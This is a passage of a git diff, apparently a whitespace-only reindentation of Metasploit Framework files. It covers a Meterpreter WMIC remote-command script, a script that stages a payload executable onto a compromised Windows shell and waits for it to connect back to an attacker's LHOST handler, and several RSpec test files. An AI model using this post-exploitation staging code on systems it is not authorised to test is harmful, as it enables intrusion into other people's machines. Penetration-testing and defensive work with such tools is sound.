/c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end def usage - print_line("Windows WMIC Command Execution Meterpreter Script ") - print_line @@exec_opts.usage - print_line("USAGE:") - print_line("run wmic -c \"WMIC Command Argument\"\n") - print_line("NOTE:") - print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") - print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") - print_line("Example:") - print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") - raise Rex::Script::Completed + print_line("Windows WMIC Command Execution Meterpreter Script ") + print_line @@exec_opts.usage + print_line("USAGE:") + print_line("run wmic -c \"WMIC Command Argument\"\n") + print_line("NOTE:") + print_line("Not all arguments for WMIC can be used, the /append: option is used by the script") + print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n") + print_line("Example:") + print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n") + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-c" + case opt + when "-c" - commands.concat(val.split("/")) + commands.concat(val.split("/")) - when "-s" + when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - commands << line.chomp - end - end - when "-f" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + next if line.strip.length < 1 + next if line[0,1] == "#" + commands << line.chomp + end + end + when "-f" - outfile = val - when "-h" - usage - else - print_error "Unknown option: #{opt}" - usage - end + outfile = val + when "-h" + usage + else + print_error "Unknown option: #{opt}" + usage + end } if args.length == 0 - usage + usage end unsupported if client.platform !~ /win32|win64/i if outfile == nil - print_status wmicexec(session,commands) + print_status wmicexec(session,commands) else - print_status("Saving output of WMIC to #{outfile}") - filewrt(outfile, wmicexec(session,commands)) + print_status("Saving output of WMIC to #{outfile}") + filewrt(outfile, wmicexec(session,commands)) end diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index b7b3c11b55..5738d03a2b 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -13,8 +13,8 @@ # Show the progress of the upload # def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + done = (sent.to_f / total.to_f) * 100 + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) end @@ -23,7 +23,7 @@ raise RuntimeError, "Selected session is not a command shell session!" if (sessi # Check for required datastore options if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT']) - raise RuntimeError, "You must set LPORT and LHOST for this script to work." + raise RuntimeError, "You must set LPORT and LHOST for this script to work." end @@ -51,105 +51,105 @@ buf = payload.generate_simple('OptionStr' => options) aborted = false begin - mh = nil - if (use_handler) - mh = framework.modules.create("exploit/multi/handler") - mh.datastore['LPORT'] = lport - mh.datastore['LHOST'] = lhost - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['ExitOnSession'] = false - mh.datastore['EXITFUNC'] = 'process' - mh.exploit_simple( - 'LocalInput' => session.user_input, - 'LocalOutput' => session.user_output, - 'Payload' => payload_name, - 'RunAsJob' => true) - # It takes a little time for the resources to get set up, so sleep for - # a bit to make sure the exploit is fully working. Without this, - # mod.get_resource doesn't exist when we need it. - select(nil, nil, nil, 0.5) - if framework.jobs[mh.job_id.to_s].nil? - raise RuntimeError, "Failed to start multi/handler - is it already running?" - end - end + mh = nil + if (use_handler) + mh = framework.modules.create("exploit/multi/handler") + mh.datastore['LPORT'] = lport + mh.datastore['LHOST'] = lhost + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['ExitOnSession'] = false + mh.datastore['EXITFUNC'] = 'process' + mh.exploit_simple( + 'LocalInput' => session.user_input, + 'LocalOutput' => session.user_output, + 'Payload' => payload_name, + 'RunAsJob' => true) + # It takes a little time for the resources to get set up, so sleep for + # a bit to make sure the exploit is fully working. Without this, + # mod.get_resource doesn't exist when we need it. + select(nil, nil, nil, 0.5) + if framework.jobs[mh.job_id.to_s].nil? + raise RuntimeError, "Failed to start multi/handler - is it already running?" + end + end - # - # Make the payload into an exe for the CmdStager - # - lplat = [Msf::Platform::Windows] - larch = [ARCH_X86] - linemax = 1700 - if (session.exploit_datastore['LineMax']) - linemax = session.exploit_datastore['LineMax'].to_i - end - opts = { - :linemax => linemax, - :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), - #:nodelete => true # keep temp files (for debugging) - } - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) + # + # Make the payload into an exe for the CmdStager + # + lplat = [Msf::Platform::Windows] + larch = [ARCH_X86] + linemax = 1700 + if (session.exploit_datastore['LineMax']) + linemax = session.exploit_datastore['LineMax'].to_i + end + opts = { + :linemax => linemax, + :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + #:nodelete => true # keep temp files (for debugging) + } + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) - # - # Generate the stager command array - # - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - cmds = cmdstager.generate(opts) - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end + # + # Generate the stager command array + # + cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) + cmds = cmdstager.generate(opts) + if (cmds.nil? or cmds.length < 1) + print_error("The command stager could not be generated") + raise ArgumentError + end - # - # Calculate the total size - # - total_bytes = 0 - cmds.each { |cmd| total_bytes += cmd.length } + # + # Calculate the total size + # + total_bytes = 0 + cmds.each { |cmd| total_bytes += cmd.length } - # - # Run the commands one at a time - # - sent = 0 - cmds.each { |cmd| - ret = session.shell_command_token_win32(cmd) - if (not ret) - aborted = true - else - ret.strip! - if (not ret.empty?) - aborted = true - end - end - if aborted - print_error("Error: Unable to execute the following command:") - print_error(cmd.inspect) - print_error('Output: ' + ret.inspect) if ret and not ret.empty? - break - end + # + # Run the commands one at a time + # + sent = 0 + cmds.each { |cmd| + ret = session.shell_command_token_win32(cmd) + if (not ret) + aborted = true + else + ret.strip! + if (not ret.empty?) + aborted = true + end + end + if aborted + print_error("Error: Unable to execute the following command:") + print_error(cmd.inspect) + print_error('Output: ' + ret.inspect) if ret and not ret.empty? + break + end - sent += cmd.length + sent += cmd.length - progress(total_bytes, sent) - } + progress(total_bytes, sent) + } rescue ::Interrupt - # TODO: cleanup partial uploads! - aborted = true + # TODO: cleanup partial uploads! + aborted = true rescue => e - print_error("Error: #{e}") - aborted = true + print_error("Error: #{e}") + aborted = true end # # Stop the job # if (use_handler) - Thread.new do - if not aborted - # Wait up to 10 seconds for the session to come in.. - select(nil, nil, nil, 10) - end - framework.jobs.stop_job(mh.job_id) - end + Thread.new do + if not aborted + # Wait up to 10 seconds for the session to come in.. + select(nil, nil, nil, 10) + end + framework.jobs.stop_job(mh.job_id) + end end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 9f6a4d1d7e..4981482cca 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -1,9 +1,9 @@ FactoryGirl.modify do factory :mdm_module_detail do - ignore do - root { - Metasploit::Framework.root - } - end + ignore do + root { + Metasploit::Framework.root + } + end end end \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 51f8b6f399..45798cd30f 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -8,202 +8,202 @@ require 'metasploit/framework' MetasploitDataModels.require_models describe ActiveRecord::ConnectionAdapters::ConnectionPool do - def database_configurations - YAML.load_file(database_configurations_pathname) - end + def database_configurations + YAML.load_file(database_configurations_pathname) + end - def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') - end + def database_configurations_pathname + Metasploit::Framework.root.join('config', 'database.yml') + end - subject(:connection_pool) do - ActiveRecord::Base.connection_pool - end + subject(:connection_pool) do + ActiveRecord::Base.connection_pool + end - # Not all specs require a database connection, and railties aren't being - # used, so have to manually establish connection. - before(:each) do - ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - end + # Not all specs require a database connection, and railties aren't being + # used, so have to manually establish connection. + before(:each) do + ActiveRecord::Base.configurations = database_configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) + end - after(:each) do - ActiveRecord::Base.clear_all_connections! - end + after(:each) do + ActiveRecord::Base.clear_all_connections! + end - context '#active_connection?' do - subject(:active_connection?) do - connection_pool.active_connection? - end + context '#active_connection?' do + subject(:active_connection?) do + connection_pool.active_connection? + end - # Let! so that Thread is captured before creating and entering new Threads - let!(:main_thread) do - Thread.current - end + # Let! so that Thread is captured before creating and entering new Threads + let!(:main_thread) do + Thread.current + end - before(:each) do - ActiveRecord::Base.connection_pool.connection - end + before(:each) do + ActiveRecord::Base.connection_pool.connection + end - context 'in thread with connection' do - it { should be_true } - end + context 'in thread with connection' do + it { should be_true } + end - context 'in thread without connection' do - it 'should be false' do - thread = Thread.new do - Thread.current.should_not == main_thread - expect(active_connection?).to be_false - end + context 'in thread without connection' do + it 'should be false' do + thread = Thread.new do + Thread.current.should_not == main_thread + expect(active_connection?).to be_false + end - thread.join - end - end - end + thread.join + end + end + end - context '#with_connection' do - def reserved_connection_count - connection_pool.instance_variable_get(:@reserved_connections).length - end + context '#with_connection' do + def reserved_connection_count + connection_pool.instance_variable_get(:@reserved_connections).length + end - let(:connection_id) do - main_thread.object_id - end + let(:connection_id) do + main_thread.object_id + end - it 'should call #current_connection_id' do - connection_pool.should_receive( - :current_connection_id - ).at_least( - :once - ).and_call_original + it 'should call #current_connection_id' do + connection_pool.should_receive( + :current_connection_id + ).at_least( + :once + ).and_call_original - connection_pool.with_connection { } - end + connection_pool.with_connection { } + end - it 'should yield #connection' do - connection = double('Connection') - connection_pool.stub(:connection => connection) + it 'should yield #connection' do + connection = double('Connection') + connection_pool.stub(:connection => connection) - expect { |block| - connection_pool.with_connection(&block) - }.to yield_with_args(connection) - end + expect { |block| + connection_pool.with_connection(&block) + }.to yield_with_args(connection) + end - context 'with active thread connection' do - let!(:connection) do - connection_pool.connection - end + context 'with active thread connection' do + let!(:connection) do + connection_pool.connection + end - after(:each) do - connection_pool.checkin connection - end + after(:each) do + connection_pool.checkin connection + end - it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true - end + it 'should return true from #active_connection?' do + expect(connection_pool.active_connection?).to be_true + end - context 'with error' do - it 'should not release connection' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end + context 'with error' do + it 'should not release connection' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end - context 'without error' do - it 'should not release connection' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end - end + context 'without error' do + it 'should not release connection' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end + end - context 'without active thread connection' do - it 'should return false from #active_connection?' do - expect(connection_pool.active_connection?).to be_false - end + context 'without active thread connection' do + it 'should return false from #active_connection?' do + expect(connection_pool.active_connection?).to be_false + end - context 'with error' do - it 'should not leave connection created for block' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end + context 'with error' do + it 'should not leave connection created for block' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end - context 'without error' do - it 'should not leave connection created for block' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end + context 'without error' do + it 'should not leave connection created for block' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end - context 'with nested' do - it 'should not reserve another connection in the nested block' do - before_count = reserved_connection_count + context 'with nested' do + it 'should not reserve another connection in the nested block' do + before_count = reserved_connection_count - connection_pool.with_connection do - child_count = reserved_connection_count - count_change = child_count - before_count + connection_pool.with_connection do + child_count = reserved_connection_count + count_change = child_count - before_count - count_change.should == 1 + count_change.should == 1 - connection_pool.with_connection do - grandchild_count = reserved_connection_count + connection_pool.with_connection do + grandchild_count = reserved_connection_count - grandchild_count.should == child_count - end - end + grandchild_count.should == child_count + end + end - after_count = reserved_connection_count + after_count = reserved_connection_count - after_count.should == before_count - end - end + after_count.should == before_count + end + end - context 'without with_connection first' do - it 'should use connection reserved outside with_connection' do - # Using query methods without a block is expected to retain the - # reserved connection - expect { - # access database outside with_connection block - Mdm::Host.count - }.to change { - reserved_connection_count - }.by(1) + context 'without with_connection first' do + it 'should use connection reserved outside with_connection' do + # Using query methods without a block is expected to retain the + # reserved connection + expect { + # access database outside with_connection block + Mdm::Host.count + }.to change { + reserved_connection_count + }.by(1) - outside = reserved_connection_count + outside = reserved_connection_count - connection_pool.with_connection do - inside = reserved_connection_count + connection_pool.with_connection do + inside = reserved_connection_count - inside.should == outside - end - end - end - end - end + inside.should == outside + end + end + end + end + end end diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb index b5b5547759..f8efb0fbb3 100644 --- a/spec/lib/fastlib_spec.rb +++ b/spec/lib/fastlib_spec.rb @@ -4,229 +4,229 @@ require 'spec_helper' require 'msf/core' describe FastLib do - let(:archived_paths) do - [ - File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), - File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - ] - end + let(:archived_paths) do + [ + File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), + File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + ] + end - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end - let(:extension) do - '.fastlib' - end + let(:extension) do + '.fastlib' + end - let(:flag_compress) do - 0x01 - end + let(:flag_compress) do + 0x01 + end - let(:flag_encrypt) do - 0x02 - end + let(:flag_encrypt) do + 0x02 + end - let(:unarchived_paths) do - archived_paths.collect { |archived_path| - File.join(base_path, archived_path) - } - end + let(:unarchived_paths) do + archived_paths.collect { |archived_path| + File.join(base_path, archived_path) + } + end - context 'CONSTANTS' do - context 'flags' do - it 'should have compression' do - described_class::FLAG_COMPRESS.should == flag_compress - end + context 'CONSTANTS' do + context 'flags' do + it 'should have compression' do + described_class::FLAG_COMPRESS.should == flag_compress + end - it 'should have encryption' do - described_class::FLAG_ENCRYPT.should == flag_encrypt - end - end - end + it 'should have encryption' do + described_class::FLAG_ENCRYPT.should == flag_encrypt + end + end + end - context 'class methods' do - context 'dump' do - let(:flag_string) do - flags.to_s(16) - end + context 'class methods' do + context 'dump' do + let(:flag_string) do + flags.to_s(16) + end - before(:each) do - FastLib.cache.clear - end + before(:each) do + FastLib.cache.clear + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") - example.run - end - end + example.run + end + end - context 'without compression and without encryption' do - let(:flags) do - 0x0 - end + context 'without compression and without encryption' do + let(:flags) do + 0x0 + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end + File.exist?(@destination_path).should be_true + end - context 'cache' do - it 'should populate' do - FastLib.cache[@destination_path].should be_nil + context 'cache' do + it 'should populate' do + FastLib.cache[@destination_path].should be_nil - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - FastLib.cache[@destination_path].should be_a Hash - end + FastLib.cache[@destination_path].should be_a Hash + end - it 'should include flags' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + it 'should include flags' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - FastLib.cache[@destination_path][:fastlib_flags].should == flags - end + FastLib.cache[@destination_path][:fastlib_flags].should == flags + end - pending "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should include header' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - header = FastLib.cache[@destination_path][:fastlib_header] - modification_time = File.mtime(@destination_path).utc.to_i + pending "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should include header' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + header = FastLib.cache[@destination_path][:fastlib_header] + modification_time = File.mtime(@destination_path).utc.to_i - header.should be_a Array - # @todo figure out why 12 before header length - header[0].should == 12 - # @todo figure out why header length is 0 - header[1].should == 0 - header[2].should == modification_time - end + header.should be_a Array + # @todo figure out why 12 before header length + header[0].should == 12 + # @todo figure out why header length is 0 + header[1].should == 0 + header[2].should == modification_time + end - it 'should include archived paths' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - cache = FastLib.cache[@destination_path] + it 'should include archived paths' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + cache = FastLib.cache[@destination_path] - archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - unarchived_path = File.join(base_path, archived_path) + archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + unarchived_path = File.join(base_path, archived_path) - # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be - # in the archive. - File.exist?(unarchived_path).should be_true - cache[archived_path].should_not be_nil - end - end - end - end + # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be + # in the archive. + File.exist?(unarchived_path).should be_true + cache[archived_path].should_not be_nil + end + end + end + end - context 'with compression and without encryption' do - let(:flags) do - flag_compress - end + context 'with compression and without encryption' do + let(:flags) do + flag_compress + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end + File.exist?(@destination_path).should be_true + end - it 'should be smaller than the uncompressed archive' do - uncompressed_path = "#{@destination_path}.uncompressed" - compressed_path = "#{@destination_path}.compressed" + it 'should be smaller than the uncompressed archive' do + uncompressed_path = "#{@destination_path}.uncompressed" + compressed_path = "#{@destination_path}.compressed" - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false + File.exist?(uncompressed_path).should be_false + File.exist?(compressed_path).should be_false - described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) - described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) + described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) + described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true + File.exist?(uncompressed_path).should be_true + File.exist?(compressed_path).should be_true - File.size(compressed_path).should < File.size(uncompressed_path) - end - end + File.size(compressed_path).should < File.size(uncompressed_path) + end + end - context 'without compression and with encryption' do - let(:flags) do - flag_encrypt - end + context 'without compression and with encryption' do + let(:flags) do + flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end + File.exist?(@destination_path).should be_true + end + end - context 'with compression and with encryption' do - let(:flags) do - flag_compress | flag_encrypt - end + context 'with compression and with encryption' do + let(:flags) do + flag_compress | flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end - end + File.exist?(@destination_path).should be_true + end + end + end - context 'list' do - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") + context 'list' do + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") - FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) + FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) - example.run - end - end + example.run + end + end - # ensure modules expected to be listed actually exist - it 'should use existent unarchived modules' do - unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true - end - end + # ensure modules expected to be listed actually exist + it 'should use existent unarchived modules' do + unarchived_paths.each do |unarchived_path| + File.exist?(unarchived_path).should be_true + end + end - context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end + context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should have dump cached' do + FastLib.cache[@destination_path].should_not be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) + it 'should list archived paths' do + paths = FastLib.list(@destination_path) - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end + context 'without cached dump' do + before(:each) do + FastLib.cache.clear + end - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end + it 'should not have dump cache' do + FastLib.cache[@destination_path].should be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) + it 'should list archived paths' do + paths = FastLib.list(@destination_path) - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end + end + end end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 8b37a4c48d..7600fd7dad 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -1,11 +1,11 @@ require 'spec_helper' describe Msf::Simple::Framework do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' - subject do - framework - end + subject do + framework + end - it_should_behave_like 'Msf::Simple::Framework::ModulePaths' + it_should_behave_like 'Msf::Simple::Framework::ModulePaths' end \ No newline at end of file diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index 6867cc2c1d..e55d3154ee 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -4,76 +4,76 @@ require 'spec_helper' require 'msf/core/data_store' shared_examples "datastore" do - it "should have options" do - subject["foo"].should == "bar" - subject["fizz"].should == "buzz" - end - it "should have case-insensitive keys" do - # Sorted by gray code, just for fun - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["fOo"].should == "bar" - subject["fOO"].should == "bar" - subject["FOO"].should == "bar" - subject["FoO"].should == "bar" - subject["foO"].should == "bar" - end - context "#to_h" do - it "should return a Hash with correct values" do - subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } - end - end + it "should have options" do + subject["foo"].should == "bar" + subject["fizz"].should == "buzz" + end + it "should have case-insensitive keys" do + # Sorted by gray code, just for fun + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["fOo"].should == "bar" + subject["fOO"].should == "bar" + subject["FOO"].should == "bar" + subject["FoO"].should == "bar" + subject["foO"].should == "bar" + end + context "#to_h" do + it "should return a Hash with correct values" do + subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } + end + end end describe Msf::DataStore do - describe "#import_option" do - subject do - s = described_class.new - s.import_option("foo", "bar") - s.import_option("fizz", "buzz") - s - end - it_behaves_like "datastore" - end + describe "#import_option" do + subject do + s = described_class.new + s.import_option("foo", "bar") + s.import_option("fizz", "buzz") + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_hash" do - subject do - hash = { "foo" => "bar", "fizz" => "buzz" } - s = described_class.new - s.import_options_from_hash(hash) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_hash" do + subject do + hash = { "foo" => "bar", "fizz" => "buzz" } + s = described_class.new + s.import_options_from_hash(hash) + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_s" do - subject do - str = "foo=bar fizz=buzz" - s = described_class.new - s.import_options_from_s(str) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_s" do + subject do + str = "foo=bar fizz=buzz" + s = described_class.new + s.import_options_from_s(str) + s + end + it_behaves_like "datastore" + end - describe "#from_file" do - subject do - ini_instance = double - ini_instance.stub(:group?).and_return(true) - ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) + describe "#from_file" do + subject do + ini_instance = double + ini_instance.stub(:group?).and_return(true) + ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) - ini = stub_const("Rex::Parser::Ini", Class.new) - ini.stub(:from_file).and_return(ini_instance) + ini = stub_const("Rex::Parser::Ini", Class.new) + ini.stub(:from_file).and_return(ini_instance) - s = described_class.new - s.from_file("path") - s - end + s = described_class.new + s.from_file("path") + s + end - it_behaves_like "datastore" - end + it_behaves_like "datastore" + end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6922c9e952..6a9f0677e0 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -7,47 +7,47 @@ require 'msf/core/exploit/capture' describe Msf::Exploit::Capture do - subject do - mod = Msf::Module.new - mod.extend described_class - mod - end + subject do + mod = Msf::Module.new + mod.extend described_class + mod + end - it 'should be a kind of Msf::Exploit::Capture' do - subject.should be_a_kind_of Msf::Exploit::Capture - end + it 'should be a kind of Msf::Exploit::Capture' do + subject.should be_a_kind_of Msf::Exploit::Capture + end - context '#stats_*' do + context '#stats_*' do - it 'should show received packets' do - subject.stats_recv.should == 0 - end + it 'should show received packets' do + subject.stats_recv.should == 0 + end - it 'should show dropped packets' do - subject.stats_drop.should == 0 - end + it 'should show dropped packets' do + subject.stats_drop.should == 0 + end - it 'should show interface-dropped packets' do - subject.stats_ifdrop.should == 0 - end + it 'should show interface-dropped packets' do + subject.stats_ifdrop.should == 0 + end - end + end - it 'should respond to open_pcap' do - subject.should respond_to :open_pcap - end + it 'should respond to open_pcap' do + subject.should respond_to :open_pcap + end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do - end + it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do - end + it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do - end + it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do - end + it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 1812e5f1ad..10b694dd5d 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -5,197 +5,197 @@ require 'msf/core' require 'msf/core/exploit/http/client' describe Msf::Exploit::Remote::HttpClient do - subject do - mod = Module.new - mod.extend described_class + subject do + mod = Module.new + mod.extend described_class - mod - end + mod + end - describe '#normalize_uri' do - let(:expected_normalized_uri) do - '/a/b/c' - end + describe '#normalize_uri' do + let(:expected_normalized_uri) do + '/a/b/c' + end - let(:normalized_uri) do - subject.normalize_uri(unnormalized_uri) - end + let(:normalized_uri) do + subject.normalize_uri(unnormalized_uri) + end - context "with just '/'" do - let(:unnormalized_uri) do - '/' - end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end - it "should be '/'" do - unnormalized_uri.should == '/' - end + it "should be '/'" do + unnormalized_uri.should == '/' + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context "with starting '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end + context "with starting '/'" do + let(:unnormalized_uri) do + 